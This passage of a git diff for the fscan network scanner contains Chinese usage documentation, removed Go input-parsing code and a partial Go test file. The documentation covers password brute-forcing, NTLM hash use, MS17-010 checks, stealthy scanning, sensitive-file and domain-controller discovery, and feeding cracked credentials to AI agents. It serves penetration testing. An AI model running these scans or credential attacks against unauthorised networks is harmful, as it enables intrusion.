| `-np` | 跳过存活检测 | `false` |
|
||||||
|
| `-ntp` | 禁用 TCP 补充探测 | `false` |
|
||||||
|
| `-ao` | 仅存活检测 | `false` |
|
||||||
|
| `-nobr` | 禁用暴力破解 | `false` |
|
||||||
|
| `-full` | 全量 POC 扫描 | `false` |
|
||||||
|
| `-max-retries` | 最大重试次数 | `1` |
|
||||||
|
|
||||||
|
### 认证
|
||||||
|
|
||||||
|
| 参数 | 说明 |
|
||||||
|
|------|------|
|
||||||
|
| `-user` | 用户名 |
|
||||||
|
| `-pwd` | 密码 |
|
||||||
|
| `-usera` | 追加用户名 |
|
||||||
|
| `-pwda` | 追加密码,支持逗号或空格分隔多个值 |
|
||||||
|
| `-userf` | 用户名字典文件 |
|
||||||
|
| `-pwdf` | 密码字典文件 |
|
||||||
|
| `-domain` | 域名(SMB/WMI) |
|
||||||
|
| `-sshkey` | SSH 私钥文件 |
|
||||||
|
| `-hash` / `-hashf` | NTLM Hash / Hash 文件 |
|
||||||
|
|
||||||
|
### 代理
|
||||||
|
|
||||||
|
| 参数 | 说明 |
|
||||||
|
|------|------|
|
||||||
|
| `-socks5` | SOCKS5 代理 (`127.0.0.1:1080`) |
|
||||||
|
| `-proxy` | HTTP 代理 (`http://127.0.0.1:8080`) |
|
||||||
|
| `-iface` | 指定本地网卡 IP(VPN 场景) |
|
||||||
|
|
||||||
|
### 输出
|
||||||
|
|
||||||
|
| 参数 | 说明 |
|
||||||
|
|------|------|
|
||||||
|
| `-silent` | 静默模式:stdout 仅输出 NDJSON |
|
||||||
|
| `-o` | 输出文件路径(默认 `result.txt`) |
|
||||||
|
| `-f` | 输出格式:`txt` / `json` / `csv` |
|
||||||
|
| `-no` | 禁用文件保存 |
|
||||||
|
| `-debug` | 调试模式:日志写入 `fscan_debug.log` |
|
||||||
|
| `-log` | 日志级别(`debug` / `info` / `base` / `error`) |
|
||||||
|
|
||||||
|
### 扫描模式 `-m` 的取值
|
||||||
|
|
||||||
|
| 值 | 说明 |
|
||||||
|
|------|------|
|
||||||
|
| `all` | 全部扫描(默认) |
|
||||||
|
| `icmp` | 仅 ICMP 存活检测 |
|
||||||
|
| 插件名 | 仅运行指定插件(如 `ssh`、`smb`、`ms17010`、`webtitle`) |
|
||||||
|
|
||||||
|
## 服务插件列表
|
||||||
|
|
||||||
|
| 插件 | 默认端口 | 功能 |
|
||||||
|
|------|----------|------|
|
||||||
|
| `ftp` | 21 | FTP 弱口令 |
|
||||||
|
| `ssh` | 22 | SSH 弱口令 |
|
||||||
|
| `telnet` | 23 | Telnet 弱口令 |
|
||||||
|
| `smtp` | 25 | SMTP 弱口令 |
|
||||||
|
| `findnet` | 135 | RPC 网络信息发现(NetInfo) |
|
||||||
|
| `netbios` | 139 | NetBIOS 信息收集 |
|
||||||
|
| `smb` | 445 | SMB 弱口令 |
|
||||||
|
| `ms17010` | 445 | MS17-010 永恒之蓝检测 |
|
||||||
|
| `ldap` | 389 | LDAP 弱口令 |
|
||||||
|
| `mssql` | 1433 | MSSQL 弱口令 |
|
||||||
|
| `oracle` | 1521 | Oracle 弱口令 |
|
||||||
|
| `mysql` | 3306 | MySQL 弱口令 |
|
||||||
|
| `rdp` | 3389 | RDP 弱口令 + 系统信息 |
|
||||||
|
| `postgresql` | 5432 | PostgreSQL 弱口令 |
|
||||||
|
| `vnc` | 5900 | VNC 弱口令 |
|
||||||
|
| `redis` | 6379 | Redis 未授权 + 弱口令 |
|
||||||
|
| `elasticsearch` | 9200 | ES 未授权 |
|
||||||
|
| `mongodb` | 27017 | MongoDB 未授权 + 弱口令 |
|
||||||
|
| `memcached` | 11211 | Memcached 未授权 |
|
||||||
|
| `kafka` | 9092 | Kafka 未授权 |
|
||||||
|
| `activemq` | 61616 | ActiveMQ 弱口令 |
|
||||||
|
| `rabbitmq` | 5672 | RabbitMQ 弱口令 |
|
||||||
|
| `cassandra` | 9042 | Cassandra 弱口令 |
|
||||||
|
| `neo4j` | 7687 | Neo4j 弱口令 |
|
||||||
|
| `rsync` | 873 | Rsync 未授权 |
|
||||||
|
| `webtitle` | 80/443 | Web 标题 + 指纹识别 |
|
||||||
|
| `webpoc` | 80/443 | Web 漏洞 POC |
|
||||||
|
|
||||||
|
## 本地插件(`-local`)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
fscan -local avdetect # 杀软检测
|
||||||
|
fscan -local systeminfo # 系统信息收集
|
||||||
|
fscan -local envinfo # 环境变量信息
|
||||||
|
fscan -local dcinfo # 域控信息
|
||||||
|
fscan -local fileinfo # 敏感文件搜索
|
||||||
|
```
|
||||||
|
|
||||||
|
## NDJSON 输出 Schema(`-silent` 模式)
|
||||||
|
|
||||||
|
每行一个 JSON 对象,所有字段定义:
|
||||||
|
|
||||||
|
| 字段 | 类型 | 出现条件 | 说明 |
|
||||||
|
|------|------|----------|------|
|
||||||
|
| `type` | string | 必有 | `HOST` / `PORT` / `SERVICE` / `VULN` |
|
||||||
|
| `target` | string | 必有 | 原始目标 `host` 或 `host:port` |
|
||||||
|
| `status` | string | 必有 | 状态描述 |
|
||||||
|
| `host` | string | 必有 | IP 地址 |
|
||||||
|
| `port` | int | PORT/SERVICE/VULN | 端口号 |
|
||||||
|
| `service` | string | SERVICE/VULN | 服务名(ssh, smb, http 等) |
|
||||||
|
| `protocol` | string | HOST/SERVICE | 协议(ICMP, TCP, http, https) |
|
||||||
|
| `banner` | string | SERVICE | 服务 Banner |
|
||||||
|
| `title` | string | SERVICE (web) | 网页标题 |
|
||||||
|
| `url` | string | SERVICE (web) | 完整 URL |
|
||||||
|
| `vulnerability` | string | VULN | 漏洞名称 |
|
||||||
|
| `username` | string | VULN (弱口令) | 用户名 |
|
||||||
|
| `password` | string | VULN (弱口令) | 密码 |
|
||||||
|
| `plugin` | string | SERVICE/VULN | 产生结果的插件名 |
|
||||||
|
| `version` | string | SERVICE | 服务版本号 |
|
||||||
|
| `os` | string | SERVICE | 操作系统信息 |
|
||||||
|
|
||||||
|
### 输出示例
|
||||||
|
|
||||||
|
```jsonl
|
||||||
|
{"type":"HOST","target":"192.168.1.5","status":"alive","host":"192.168.1.5","protocol":"ICMP"}
|
||||||
|
{"type":"PORT","target":"192.168.1.5","status":"open","host":"192.168.1.5","port":22}
|
||||||
|
{"type":"PORT","target":"192.168.1.5","status":"open","host":"192.168.1.5","port":445}
|
||||||
|
{"type":"SERVICE","target":"192.168.1.5:22","status":"identified","host":"192.168.1.5","port":22,"service":"ssh","banner":"SSH-2.0-OpenSSH_8.9p1","version":"8.9p1","plugin":"portscan"}
|
||||||
|
{"type":"SERVICE","target":"192.168.1.5:80","status":"web","host":"192.168.1.5","port":80,"service":"http","protocol":"http","url":"http://192.168.1.5:80","title":"Welcome","plugin":"webtitle"}
|
||||||
|
{"type":"VULN","target":"192.168.1.5:445","status":"MS17-010 (Windows Server 2012 R2 Standard 9600)","host":"192.168.1.5","port":445,"vulnerability":"MS17-010","service":"smb","plugin":"ms17010"}
|
||||||
|
{"type":"VULN","target":"192.168.1.5:22","status":"weak_credential: root:123456","host":"192.168.1.5","port":22,"service":"ssh","username":"root","password":"123456","plugin":"ssh"}
|
||||||
|
{"type":"VULN","target":"192.168.1.5:6379","status":"Redis unauthorized","host":"192.168.1.5","port":6379,"vulnerability":"Redis unauthorized access","service":"redis","plugin":"redis"}
|
||||||
|
```
|
||||||
|
|
||||||
|
### 结果产出顺序
|
||||||
|
|
||||||
|
1. `HOST` — 存活探测阶段
|
||||||
|
2. `PORT` — 端口扫描阶段(与 SERVICE 可能交错)
|
||||||
|
3. `SERVICE` — 服务识别阶段
|
||||||
|
4. `VULN` — 漏洞/弱口令检测阶段
|
||||||
|
|
||||||
|
同一 `host:port` 可产生多条结果(PORT + SERVICE + VULN)。
|
||||||
|
|
||||||
|
## 常用场景参数组合
|
||||||
|
|
||||||
|
### 全网段快速扫描
|
||||||
|
|
||||||
|
```bash
|
||||||
|
fscan -h 192.168.1.0/24 -silent
|
||||||
|
```
|
||||||
|
|
||||||
|
### 跳过存活检测直接扫端口(目标明确时)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
fscan -h 192.168.1.0/24 -silent -np
|
||||||
|
```
|
||||||
|
|
||||||
|
### 指定端口精确扫描
|
||||||
|
|
||||||
|
```bash
|
||||||
|
fscan -h 10.0.0.0/24 -silent -p 22,80,443,445,3389,3306,6379
|
||||||
|
```
|
||||||
|
|
||||||
|
### 仅存活探测
|
||||||
|
|
||||||
|
```bash
|
||||||
|
fscan -h 172.16.0.0/16 -silent -m icmp
|
||||||
|
```
|
||||||
|
|
||||||
|
### 低速隐蔽扫描
|
||||||
|
|
||||||
|
```bash
|
||||||
|
fscan -h 192.168.1.0/24 -silent -t 30 -time 5
|
||||||
|
```
|
||||||
|
|
||||||
|
### 通过 SOCKS5 代理扫描内网
|
||||||
|
|
||||||
|
```bash
|
||||||
|
fscan -h 10.0.0.0/24 -silent -socks5 127.0.0.1:1080
|
||||||
|
```
|
||||||
|
|
||||||
|
### 仅做弱口令检测
|
||||||
|
|
||||||
|
```bash
|
||||||
|
fscan -h 192.168.1.10 -silent -m ssh -user root -pwdf /path/to/passwords.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
### Web 目标扫描
|
||||||
|
|
||||||
|
```bash
|
||||||
|
fscan -u https://target.com -silent -full
|
||||||
|
```
|
||||||
|
|
||||||
|
### 多目标文件批量扫描
|
||||||
|
|
||||||
|
```bash
|
||||||
|
fscan -hf targets.txt -silent -o results.json -f json
|
||||||
|
```
|
||||||
|
|
||||||
|
### 带调试日志的排障扫描
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# NDJSON 到 stdout,debug 日志到文件,互不干扰
|
||||||
|
fscan -h 192.168.1.0/24 -silent -debug
|
||||||
|
# 事后查看:cat fscan_debug.log
|
||||||
|
```
|
||||||
|
|
||||||
|
## AI Agent 结果处理
|
||||||
|
|
||||||
|
### Python 管道消费
|
||||||
|
|
||||||
|
```python
|
||||||
|
import json, subprocess
|
||||||
|
|
||||||
|
proc = subprocess.Popen(
|
||||||
|
["fscan", "-h", "192.168.1.0/24", "-silent"],
|
||||||
|
stdout=subprocess.PIPE, text=True
|
||||||
|
)
|
||||||
|
|
||||||
|
hosts, services, vulns = [], [], []
|
||||||
|
for line in proc.stdout:
|
||||||
|
r = json.loads(line)
|
||||||
|
if r["type"] == "HOST":
|
||||||
|
hosts.append(r["host"])
|
||||||
|
elif r["type"] == "SERVICE":
|
||||||
|
services.append(r)
|
||||||
|
elif r["type"] == "VULN":
|
||||||
|
vulns.append(r)
|
||||||
|
|
||||||
|
proc.wait()
|
||||||
|
```
|
||||||
|
|
||||||
|
### jq 过滤
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 提取所有弱口令
|
||||||
|
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.username != null) | "\(.host):\(.port) \(.service) \(.username):\(.password)"'
|
||||||
|
|
||||||
|
# 提取所有漏洞
|
||||||
|
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.type=="VULN") | "\(.host):\(.port) \(.vulnerability)"'
|
||||||
|
|
||||||
|
# 提取 Web 服务
|
||||||
|
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.url != null) | "\(.url) \(.title)"'
|
||||||
|
|
||||||
|
# 统计开放端口
|
||||||
|
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.type=="PORT") | .port' | sort -n | uniq -c | sort -rn
|
||||||
|
```
|
||||||
|
|
||||||
|
## 注意事项
|
||||||
|
|
||||||
|
- `-silent` 抑制所有人类可读日志,stdout 仅输出 NDJSON
|
||||||
|
- 空字段不出现在 JSON 中(`omitempty`)
|
||||||
|
- 进程退出码 `0` 正常完成,非 `0` 表示参数错误或初始化失败
|
||||||
|
- `-silent` 和 `-debug` 可同时使用,互不干扰
|
||||||
|
- SOCKS5 代理下 fscan 信任协议层连接结果,不做额外深度验证
|
||||||
|
- 扫描大网段时线程数会自动调整,资源耗尽时自适应降级
|
||||||
|
- 默认超时 3 秒,防火墙 drop 的端口会静默超时,不计入失败率
|
||||||
-134
@@ -1,134 +0,0 @@
|
|||||||
package common
|
|
||||||
|
|
||||||
import (
|
|
||||||
"bufio"
|
|
||||||
"flag"
|
|
||||||
"fmt"
|
|
||||||
"os"
|
|
||||||
"strconv"
|
|
||||||
"strings"
|
|
||||||
)
|
|
||||||
|
|
||||||
func Parse(Info *HostInfo){
|
|
||||||
ParseUser(Info)
|
|
||||||
ParsePass(Info)
|
|
||||||
ParseInput(Info)
|
|
||||||
ParseScantype(Info)
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
func ParseUser(Info *HostInfo){
|
|
||||||
if Info.Username!=""{
|
|
||||||
uesrs := strings.Split(Info.Username, ",")
|
|
||||||
for _,uesr := range uesrs{
|
|
||||||
if uesr !=""{
|
|
||||||
Info.Usernames = append(Info.Usernames,uesr)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
for name := range Userdict{
|
|
||||||
Userdict[name] = Info.Usernames
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if Info.Userfile!=""{
|
|
||||||
uesrs,err := Readfile(Info.Userfile)
|
|
||||||
if err == nil {
|
|
||||||
for _, uesr := range uesrs {
|
|
||||||
if uesr != "" {
|
|
||||||
Info.Usernames = append(Info.Usernames, uesr)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
for name := range Userdict {
|
|
||||||
Userdict[name] = Info.Usernames
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
func ParsePass(Info *HostInfo){
|
|
||||||
if Info.Password!=""{
|
|
||||||
passs := strings.Split(Info.Password, ",")
|
|
||||||
for _,pass := range passs{
|
|
||||||
if pass !=""{
|
|
||||||
Info.Passwords = append(Info.Passwords,pass)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Passwords = Info.Passwords
|
|
||||||
}
|
|
||||||
if Info.Passfile!=""{
|
|
||||||
passs,err := Readfile(Info.Passfile)
|
|
||||||
if err == nil{
|
|
||||||
for _,pass := range passs{
|
|
||||||
if pass !=""{
|
|
||||||
Info.Passwords = append(Info.Passwords,pass)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Passwords = Info.Passwords
|
|
||||||
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func Readfile(filename string)([]string,error){
|
|
||||||
file, err := os.Open(filename)
|
|
||||||
if err!=nil{
|
|
||||||
fmt.Println("Open %s error, %v", filename,err)
|
|
||||||
os.Exit(0)
|
|
||||||
}
|
|
||||||
defer file.Close()
|
|
||||||
var content []string
|
|
||||||
scanner := bufio.NewScanner(file)
|
|
||||||
scanner.Split(bufio.ScanLines)
|
|
||||||
for scanner.Scan() {
|
|
||||||
text := strings.TrimSpace(scanner.Text())
|
|
||||||
if text != "" {
|
|
||||||
content=append(content,scanner.Text())
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return content,nil
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
func ParseInput(Info *HostInfo){
|
|
||||||
if Info.Host=="" && Info.HostFile ==""{
|
|
||||||
fmt.Println("Host is none")
|
|
||||||
flag.Usage()
|
|
||||||
os.Exit(0)
|
|
||||||
}
|
|
||||||
if Info.Outputfile != ""{
|
|
||||||
Outputfile = Info.Outputfile
|
|
||||||
}
|
|
||||||
if Info.IsSave == true{
|
|
||||||
IsSave = false
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func ParseScantype(Info *HostInfo){
|
|
||||||
_,ok:=PORTList[Info.Scantype]
|
|
||||||
if !ok{
|
|
||||||
fmt.Println("The specified scan type does not exist")
|
|
||||||
fmt.Println("-m")
|
|
||||||
for name,_:=range PORTList{
|
|
||||||
fmt.Println(" ["+name+"]")
|
|
||||||
}
|
|
||||||
os.Exit(0)
|
|
||||||
}
|
|
||||||
if Info.Scantype != "all" && Info.Ports != DefaultPorts{
|
|
||||||
ScanPort := ParsePort(Info.Ports)[0]
|
|
||||||
Info.Ports = strconv.Itoa(ScanPort)
|
|
||||||
fmt.Println("if -m and -p only scan the first port:",Info.Ports)
|
|
||||||
for name,_:=range PORTList{
|
|
||||||
PORTList[name] = ScanPort
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
func CheckErr(text string,err error){
|
|
||||||
if err!=nil{
|
|
||||||
fmt.Println(text,err.Error())
|
|
||||||
os.Exit(0)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,199 +0,0 @@
|
|||||||
package common
|
|
||||||
|
|
||||||
import (
|
|
||||||
"bufio"
|
|
||||||
"errors"
|
|
||||||
"fmt"
|
|
||||||
"net"
|
|
||||||
"os"
|
|
||||||
"regexp"
|
|
||||||
"strconv"
|
|
||||||
"strings"
|
|
||||||
)
|
|
||||||
|
|
||||||
var ParseIPErr =errors.New("host parsing error\n" +
|
|
||||||
"format: \n"+
|
|
||||||
"192.168.1.1\n" +
|
|
||||||
"192.168.1.1/8\n"+
|
|
||||||
"192.168.1.1/16\n"+
|
|
||||||
"192.168.1.1/24\n"+
|
|
||||||
"192.168.1.1,192.168.1.2\n" +
|
|
||||||
"192.168.1.1-255")
|
|
||||||
|
|
||||||
func ParseIP(ip string,filename string)(hosts []string,err error){
|
|
||||||
|
|
||||||
if ip != ""{
|
|
||||||
hosts,err = ParseIPs(ip)
|
|
||||||
}
|
|
||||||
if filename != ""{
|
|
||||||
var filehost []string
|
|
||||||
filehost,_ = Readipfile(filename)
|
|
||||||
hosts = append(hosts,filehost...)
|
|
||||||
}
|
|
||||||
hosts = RemoveDuplicate(hosts)
|
|
||||||
return hosts,err
|
|
||||||
}
|
|
||||||
|
|
||||||
func ParseIPs(ip string)(hosts []string,err error){
|
|
||||||
if strings.Contains(ip,","){
|
|
||||||
IPList:=strings.Split(ip,",")
|
|
||||||
var ips []string
|
|
||||||
for _,ip:=range IPList{
|
|
||||||
ips,err = ParseIPone(ip)
|
|
||||||
CheckErr(ip,err)
|
|
||||||
hosts = append(hosts,ips...)
|
|
||||||
}
|
|
||||||
return hosts,err
|
|
||||||
}else {
|
|
||||||
hosts,err = ParseIPone(ip)
|
|
||||||
CheckErr(ip,err)
|
|
||||||
return hosts,err
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func ParseIPone(ip string)([]string,error){
|
|
||||||
reg:=regexp.MustCompile(`[a-zA-Z]+`)
|
|
||||||
switch {
|
|
||||||
case strings.Contains(ip[len(ip)-3:len(ip)],"/24"):
|
|
||||||
return ParseIPA(ip)
|
|
||||||
case strings.Contains(ip[len(ip)-3:len(ip)],"/16"):
|
|
||||||
return ParseIPD(ip)
|
|
||||||
case strings.Contains(ip[len(ip)-2:len(ip)],"/8"):
|
|
||||||
return ParseIPE(ip)
|
|
||||||
case strings.Count(ip,"-")==1:
|
|
||||||
return ParseIPC(ip)
|
|
||||||
case reg.MatchString(ip):
|
|
||||||
_, err := net.LookupHost(ip)
|
|
||||||
if err != nil {
|
|
||||||
return nil,err
|
|
||||||
}
|
|
||||||
return []string{ip},nil
|
|
||||||
default:
|
|
||||||
testIP:=net.ParseIP(ip)
|
|
||||||
if testIP==nil{
|
|
||||||
return nil,ParseIPErr
|
|
||||||
}
|
|
||||||
return []string{ip},nil
|
|
||||||
}
|
|
||||||
}
|
|
||||||
//Parsing CIDR IP
|
|
||||||
func ParseIPA(ip string)([]string,error){
|
|
||||||
realIP:=ip[:len(ip)-3]
|
|
||||||
testIP:=net.ParseIP(realIP)
|
|
||||||
|
|
||||||
if testIP==nil{
|
|
||||||
return nil,ParseIPErr
|
|
||||||
}
|
|
||||||
IPrange:=strings.Join(strings.Split(realIP,".")[0:3],".")
|
|
||||||
var AllIP []string
|
|
||||||
for i:=0;i<=255;i++{
|
|
||||||
AllIP=append(AllIP,IPrange+"."+strconv.Itoa(i))
|
|
||||||
}
|
|
||||||
return AllIP,nil
|
|
||||||
}
|
|
||||||
|
|
||||||
//Resolving multiple IPS, for example: 192.168.111.1,192.168.111.2
|
|
||||||
func ParseIPB(ip string)([]string,error){
|
|
||||||
IPList:=strings.Split(ip,",")
|
|
||||||
for _,i:=range IPList{
|
|
||||||
testIP:=net.ParseIP(i)
|
|
||||||
if testIP==nil{
|
|
||||||
return nil,ParseIPErr
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return IPList,nil
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
//Resolving a range of IP,for example: 192.168.111.1-255
|
|
||||||
func ParseIPC(ip string)([]string,error){
|
|
||||||
IPRange:=strings.Split(ip,"-")
|
|
||||||
testIP:=net.ParseIP(IPRange[0])
|
|
||||||
Range,err:=strconv.Atoi(IPRange[1])
|
|
||||||
if testIP==nil || Range>255 || err!=nil{
|
|
||||||
return nil,ParseIPErr
|
|
||||||
}
|
|
||||||
SplitIP:=strings.Split(IPRange[0],".")
|
|
||||||
ip1,err1:=strconv.Atoi(SplitIP[3])
|
|
||||||
ip2,err2:=strconv.Atoi(IPRange[1])
|
|
||||||
PrefixIP:=strings.Join(SplitIP[0:3],".")
|
|
||||||
var AllIP []string
|
|
||||||
if ip1>ip2 || err1!=nil || err2!=nil{
|
|
||||||
return nil,ParseIPErr
|
|
||||||
}
|
|
||||||
for i:=ip1;i<=ip2;i++{
|
|
||||||
AllIP=append(AllIP,PrefixIP+"."+strconv.Itoa(i))
|
|
||||||
}
|
|
||||||
return AllIP,nil
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
func ParseIPD(ip string)([]string,error){
|
|
||||||
realIP:=ip[:len(ip)-3]
|
|
||||||
testIP:=net.ParseIP(realIP)
|
|
||||||
|
|
||||||
if testIP==nil{
|
|
||||||
return nil,ParseIPErr
|
|
||||||
}
|
|
||||||
IPrange:=strings.Join(strings.Split(realIP,".")[0:2],".")
|
|
||||||
var AllIP []string
|
|
||||||
for a:=0;a<=255;a++{
|
|
||||||
for b:=0;b<=255;b++{
|
|
||||||
AllIP=append(AllIP,IPrange+"."+strconv.Itoa(a)+"."+strconv.Itoa(b))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return AllIP,nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func ParseIPE(ip string)([]string,error){
|
|
||||||
realIP:=ip[:len(ip)-2]
|
|
||||||
testIP:=net.ParseIP(realIP)
|
|
||||||
|
|
||||||
if testIP==nil{
|
|
||||||
return nil,ParseIPErr
|
|
||||||
}
|
|
||||||
IPrange:=strings.Join(strings.Split(realIP,".")[0:1],".")
|
|
||||||
var AllIP []string
|
|
||||||
for a:=0;a<=255;a++{
|
|
||||||
for b:=0;b<=255;b++{
|
|
||||||
AllIP=append(AllIP,IPrange+"."+strconv.Itoa(a)+"."+strconv.Itoa(b)+"."+strconv.Itoa(1))
|
|
||||||
AllIP=append(AllIP,IPrange+"."+strconv.Itoa(a)+"."+strconv.Itoa(b)+"."+strconv.Itoa(254))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return AllIP,nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func Readipfile(filename string)([]string,error){
|
|
||||||
file, err := os.Open(filename)
|
|
||||||
if err!=nil{
|
|
||||||
fmt.Println("Open %s error, %v", filename,err)
|
|
||||||
os.Exit(0)
|
|
||||||
}
|
|
||||||
defer file.Close()
|
|
||||||
var content []string
|
|
||||||
scanner := bufio.NewScanner(file)
|
|
||||||
scanner.Split(bufio.ScanLines)
|
|
||||||
for scanner.Scan() {
|
|
||||||
text := strings.TrimSpace(scanner.Text())
|
|
||||||
if text != "" {
|
|
||||||
host,err := ParseIPs(text)
|
|
||||||
CheckErr(text,err)
|
|
||||||
content=append(content,host...)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return content,nil
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
func RemoveDuplicate(old []string) ([]string) {
|
|
||||||
result := make([]string, 0, len(old))
|
|
||||||
temp := map[string]struct{}{}
|
|
||||||
for _, item := range old {
|
|
||||||
if _, ok := temp[item]; !ok {
|
|
||||||
temp[item] = struct{}{}
|
|
||||||
result = append(result, item)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return result
|
|
||||||
}
|
|
||||||
|
|
||||||
@@ -1,31 +0,0 @@
|
|||||||
package common
|
|
||||||
|
|
||||||
import (
|
|
||||||
"sort"
|
|
||||||
"strconv"
|
|
||||||
"strings"
|
|
||||||
)
|
|
||||||
|
|
||||||
func ParsePort(ports string) []int {
|
|
||||||
var scanPorts []int
|
|
||||||
slices := strings.Split(ports, ",")
|
|
||||||
for _, port := range slices {
|
|
||||||
port = strings.Trim(port, " ")
|
|
||||||
upper := port
|
|
||||||
if strings.Contains(port, "-") {
|
|
||||||
ranges := strings.Split(port, "-")
|
|
||||||
if len(ranges) < 2 {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
sort.Strings(ranges)
|
|
||||||
port = ranges[0]
|
|
||||||
upper = ranges[1]
|
|
||||||
}
|
|
||||||
start, _ := strconv.Atoi(port)
|
|
||||||
end, _ := strconv.Atoi(upper)
|
|
||||||
for i := start; i <= end; i++ {
|
|
||||||
scanPorts = append(scanPorts, i)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return scanPorts
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,257 @@
|
|||||||
|
package common
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common/logging"
|
||||||
|
"github.com/shadow1ng/fscan/common/proxy"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestGetLogLevelFromString(t *testing.T) {
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
input string
|
||||||
|
expected logging.LogLevel
|
||||||
|
}{
|
||||||
|
// 标准情况
|
||||||
|
{"all lowercase", "all", logging.LevelAll},
|
||||||
|
{"ALL uppercase", "ALL", logging.LevelAll},
|
||||||
|
{"error lowercase", "error", logging.LevelError},
|
||||||
|
{"ERROR uppercase", "ERROR", logging.LevelError},
|
||||||
|
{"base lowercase", "base", logging.LevelBase},
|
||||||
|
{"BASE uppercase", "BASE", logging.LevelBase},
|
||||||
|
{"info lowercase", "info", logging.LevelInfo},
|
||||||
|
{"INFO uppercase", "INFO", logging.LevelInfo},
|
||||||
|
{"success lowercase", "success", logging.LevelSuccess},
|
||||||
|
{"SUCCESS uppercase", "SUCCESS", logging.LevelSuccess},
|
||||||
|
{"debug lowercase", "debug", logging.LevelDebug},
|
||||||
|
{"DEBUG uppercase", "DEBUG", logging.LevelDebug},
|
||||||
|
|
||||||
|
// 组合情况
|
||||||
|
{"info,success", "info,success", logging.LevelInfoSuccess},
|
||||||
|
{"base,info,success", "base,info,success", logging.LevelBaseInfoSuccess},
|
||||||
|
{"BASE_INFO_SUCCESS", "BASE_INFO_SUCCESS", logging.LevelBaseInfoSuccess},
|
||||||
|
|
||||||
|
// 边界情况
|
||||||
|
{"empty string", "", logging.LevelInfoSuccess},
|
||||||
|
{"unknown value", "unknown", logging.LevelInfoSuccess},
|
||||||
|
{"random string", "foobar", logging.LevelInfoSuccess},
|
||||||
|
{"mixed case", "InFo", logging.LevelInfo}, // ToLower后匹配"info"
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
result := getLogLevelFromString(tt.input)
|
||||||
|
if result != tt.expected {
|
||||||
|
t.Errorf("getLogLevelFromString(%q) = %v, want %v", tt.input, result, tt.expected)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCreateProxyConfig(t *testing.T) {
|
||||||
|
fv := GetFlagVars()
|
||||||
|
// 保存原始值并在测试后恢复
|
||||||
|
origSocks5 := fv.Socks5Proxy
|
||||||
|
origHTTP := fv.HTTPProxy
|
||||||
|
defer func() {
|
||||||
|
fv.Socks5Proxy = origSocks5
|
||||||
|
fv.HTTPProxy = origHTTP
|
||||||
|
}()
|
||||||
|
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
socks5Proxy string
|
||||||
|
httpProxy string
|
||||||
|
timeout time.Duration
|
||||||
|
expectedType proxy.ProxyType
|
||||||
|
expectedAddr string
|
||||||
|
expectedUser string
|
||||||
|
expectedPass string
|
||||||
|
}{
|
||||||
|
{
|
||||||
|
name: "no proxy",
|
||||||
|
socks5Proxy: "",
|
||||||
|
httpProxy: "",
|
||||||
|
timeout: 5 * time.Second,
|
||||||
|
expectedType: proxy.ProxyTypeNone,
|
||||||
|
expectedAddr: "",
|
||||||
|
expectedUser: "",
|
||||||
|
expectedPass: "",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "socks5 simple address",
|
||||||
|
socks5Proxy: "127.0.0.1:1080",
|
||||||
|
httpProxy: "",
|
||||||
|
timeout: 5 * time.Second,
|
||||||
|
expectedType: proxy.ProxyTypeSOCKS5,
|
||||||
|
expectedAddr: "127.0.0.1:1080",
|
||||||
|
expectedUser: "",
|
||||||
|
expectedPass: "",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "socks5 with protocol prefix",
|
||||||
|
socks5Proxy: "socks5://127.0.0.1:1080",
|
||||||
|
httpProxy: "",
|
||||||
|
timeout: 5 * time.Second,
|
||||||
|
expectedType: proxy.ProxyTypeSOCKS5,
|
||||||
|
expectedAddr: "127.0.0.1:1080",
|
||||||
|
expectedUser: "",
|
||||||
|
expectedPass: "",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "socks5 with auth",
|
||||||
|
socks5Proxy: "socks5://user:[email protected]:1080",
